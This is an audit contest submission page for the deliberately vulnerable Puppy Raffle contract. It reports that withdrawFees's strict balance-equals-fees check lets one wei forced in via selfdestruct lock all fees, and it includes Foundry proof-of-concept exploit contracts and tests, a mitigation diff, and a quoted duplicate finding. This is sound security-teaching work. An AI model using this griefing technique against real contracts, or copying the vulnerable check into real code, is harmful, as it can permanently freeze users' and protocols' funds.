Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Strict balance equality in `PuppyRaffle::withdrawFees` lets one wei of forced ETH lock all fees forever

verdoolaegelouis

Root + Impact

Root cause: PuppyRaffle::withdrawFees gates on a strict equality between the contract balance and totalFees, but the balance can be increased by anyone through a forced ETH transfer.

Impact: sending a single wei to the contract makes the equality false forever, permanently locking every fee the protocol has collected.

Description

  • withdrawFees uses the equality as a proxy for "no round is in progress", then pays totalFees to feeAddress.

  • A contract balance is not under the protocol's control. selfdestruct transfers its balance to the target without invoking any code — receive is never called and there is nothing to reject. EIP-6780 no longer deletes the account, but the balance transfer still happens, so this remains live on current mainnet. Pre-funding the contract's address before deployment has the same effect. Once the balance carries even one unaccounted wei, no future state can restore the equality, because totalFees only ever grows by whole fee amounts.

function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
(bool success,) = feeAddress.call{value: totalFees}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood:

  • Any address can do it at any time for the cost of one wei plus gas. No privilege, no timing window, no interaction with the raffle at all.

  • It is also reachable by accident: any stray transfer to the contract address produces the same permanent state.

Impact:

  • All accumulated fees are locked in the contract with no recovery path, since withdrawFees is the only function that can move them and there is no owner-controlled rescue.

  • The griefing is irreversible and costs the attacker one wei.

Proof of Concept

contract ForcedSender {
function push(address payable target) external payable { selfdestruct(target); }
}
​
function test_oneWeiLocksAllFees() public {
address[] memory p = new address[](4);
for (uint256 i = 0; i < 4; i++) p[i] = address(uint160(1000 + i));
puppyRaffle.enterRaffle{value: 4 ether}(p);
vm.warp(block.timestamp + 2 days);
puppyRaffle.selectWinner(); // 0.8 ether of fees remain
​
ForcedSender pusher = new ForcedSender();
vm.deal(address(pusher), 1 wei);
pusher.push(payable(address(puppyRaffle))); // 1 wei, unaccounted
​
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

Control test — without the forced wei the withdrawal succeeds, so the lock is caused by the strict equality and nothing else:

function test_withdrawalSucceedsWithoutForcedEther() public {
address[] memory p = new address[](4);
for (uint256 i = 0; i < 4; i++) p[i] = address(uint160(1000 + i));
puppyRaffle.enterRaffle{value: 4 ether}(p);
vm.warp(block.timestamp + 2 days);
puppyRaffle.selectWinner();
​
puppyRaffle.withdrawFees();
assertEq(feeAddress.balance, (4 ether * 20) / 100);
}

Both tests pass on the audited commit with forge test, including with --evm-version prague.

Recommended Mitigation

Do not derive protocol state from the raw balance. Check whether a round is in progress directly, and pay out the tracked amount:

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(players.length == 0, "PuppyRaffle: There are currently players active!");
+ uint256 amount = totalFees;
+ totalFees = 0;
- (bool success,) = feeAddress.call{value: totalFees}("");
+ (bool success,) = feeAddress.call{value: amount}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Zeroing totalFees before the transfer also removes the double-withdrawal path that the current code leaves open.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!